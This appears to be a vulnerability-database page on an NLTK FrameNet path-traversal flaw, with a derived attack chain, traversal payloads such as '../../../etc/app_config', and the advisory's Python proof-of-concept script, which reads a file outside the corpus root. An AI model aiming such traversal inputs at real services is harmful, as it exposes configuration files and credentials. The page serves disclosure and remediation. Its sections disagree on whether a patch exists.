NLTK CVE-2026-12074
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker sends crafted HTTP request with ../../../path/secret as frame name
-
DeliveryApplication passes name unsanitized to FramenetCorpusReader.frame()
-
Exploitframe_by_name() concatenates name into XML path without containment check
-
ExecutionXMLCorpusView reads file via builtin open()
-
Persistnltk.pathsec.validate_path() never invoked, ENFORCE=True silently bypassed
-
ImpactParsed out-of-root XML content returned to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The primary attack vector requires: (1) NLTK version ≤3.9.4 installed in the target environment, and (2) the application passes attacker-controlled input to FramenetCorpusReader.frame() without prior sanitization of ../ sequences - frame() is a primary public API explicitly designed to accept caller-specified frame names, making this a natural exposure surface for any service offering FrameNet lookups. No authentication, special network position, or non-default NLTK configuration is required at the library level; the CVSS vector PR:N confirms no privileges are required. Full content disclosure requires the target file to be parseable as FrameNet-structured XML; for non-conforming XML files, a parse exception still acts as a file-existence and readability oracle. Exploitation via doc() and the lexical-unit loader additionally requires the attacker to have write access to the FrameNet corpus index files on disk, which is a significantly higher bar. Critically, nltk.pathsec.ENFORCE=True does NOT limit exploitation - this is a confirmed, silent bypass of that advertised security boundary. |
| Impact | The NVD CVSS 3.1 score of 7.5 (High) with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N is appropriate as a worst-case library assessment: NLTK itself has no network interface or authentication layer, so the score reflects deployments where frame() is reachable from attacker-controlled network input. Real-world exploitation risk is conditional on the application routing user input to frame() without prior sanitization, which is a realistic but not universal deployment pattern given that frame() is a primary public API designed to accept caller-specified names. No EPSS score was provided in available intelligence, and the vulnerability is not listed in CISA KEV at time of analysis, suggesting targeted rather than widespread active exploitation so far. However, the public PoC significantly lowers the exploitation barrier to any developer capable of running the provided Python script. The silent sandbox bypass is the most operationally dangerous aspect: defenders who explicitly enabled ENFORCE=True as a compensating control, trusting NLTK's SECURITY.md documentation, receive no error or warning and remain fully exposed. Priority should be elevated for any deployment combining NLTK ≤3.9.4, FrameNet corpus lookups, and user-influenced frame names. |
| Exploit ScenarioDerived | An attacker targets a web service that exposes FrameNet lookups by passing an HTTP request parameter such as frame_name=../../../etc/app_config directly to FramenetCorpusReader.frame(); the library constructs the path corpus_root/frame/../../../etc/app_config.xml, reads it via Python's builtin open() with no sandbox check, and returns the parsed XML content - including any credentials or secrets embedded in the file - to the attacker. A working proof-of-concept demonstrating corpus root escape and content exfiltration despite ENFORCE=True is included in the public GitHub security advisory GHSA-xh95-f55m-82fw. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 31, 2026
Path traversal in NLTK's FramenetCorpusReader (versions ≤3.9.4) allows a caller-supplied frame name containing ../ sequences to escape the corpus root and read arbitrary XML files accessible to the process, silently bypassing the nltk.pathsec sandbox even when ENFORCE=True is explicitly enabled. Any web service or pipeline that routes user-controlled input into FramenetCorpusReader.frame() is directly exposed, with full parsed content of frame-shaped XML files returned to the caller and a file-existence oracle for all other XML paths. A working proof-of-concept is publicly available in the GitHub security advisory; the vulnerability is not listed in CISA KEV at time of analysis.
RemediationAI
Upgrade NLTK to version 3.10.0 or later, which introduces _reject_unsafe_path_component() to validate path components and raise FramenetError before any file read occurs, as confirmed by the PoC catching that exception in patched builds. The GitHub security advisory is at https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw. If immediate upgrade is not possible, the most effective compensating control is to validate caller-supplied frame names at the application boundary using an allowlist of known-good frame names before passing them to frame() - this eliminates the traversal vector with no side effects. As a defense-in-depth measure, restrict the process user's filesystem read permissions so files outside the corpus root directory are not accessible, which limits blast radius but does not eliminate the file-existence oracle behavior. Critical note: setting nltk.pathsec.ENFORCE=True does NOT mitigate this vulnerability and must not be relied upon as a compensating control for this specific code path - the bypass is confirmed by design.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is nltk.corpus.reader.framenet.FramenetCorpusReader in the pip/nltk package (CPE: pkg:pip/nltk), versions up to and including 3.9.4. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). Internally, frame_by_name() constructs a filesystem path by concatenating the corpus root, the frame subdirectory, and the caller-supplied name with a fixed .xml extension, then passes this concatenated string directly to XMLCorpusView - bypassing CorpusReader.open() and the PathPointer abstraction entirely. Because nltk.pathsec.validate_path() is only invoked from CorpusReader.open(), it is never called on string-path XML reads, rendering the pathsec sandbox - including ENFORCE=True mode, which NLTK's SECURITY.md advertises as a hard boundary for web apps and multi-tenant pipelines - completely ineffective for this code path. The same bypass pattern exists in the sibling doc() method (uses the corpus index filename field) and the lexical-unit file loader (uses the lexUnit ID attribute), both reachable through a malicious or attacker-modified FrameNet corpus data directory.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N and PR:N reflect library-level assessment at worst-case web-service deployment; C:H for arbitrary XML file read; no integrity or availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox - including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()- uses the index entryfilenamefield- the lexical-unit file loader - uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read - silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
Blast Radius
ecosystem impact- 6 pypi packages depend on nltk (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.10.0.
Articles & Coverage 1
Executive ViewAI
NLTK FramenetCorpusReader versions 3.9.4 and earlier can be exploited via path traversal to access arbitrary files, with publicly available exploit code already in circulation. Organizations using NLTK in production environments face direct exposure of sensitive configuration files and application data, creating compliance violations and potential data breach liability.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) strict input validation using whitelist patterns on frame names to prevent path traversal attempts, (2) deploy affected services with least-privilege file-system access and isolated service accounts, (3) disable vulnerable functionality if not functionally required, and (4) implement network-level access controls around affected services with monitoring for reconnaissance attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Package Hub 15 SP7 | Fixed |
| SUSE Package Hub 15 SP7 | Affected |
GHSA-xh95-f55m-82fw
NVD
CVE.org
Exploit-DB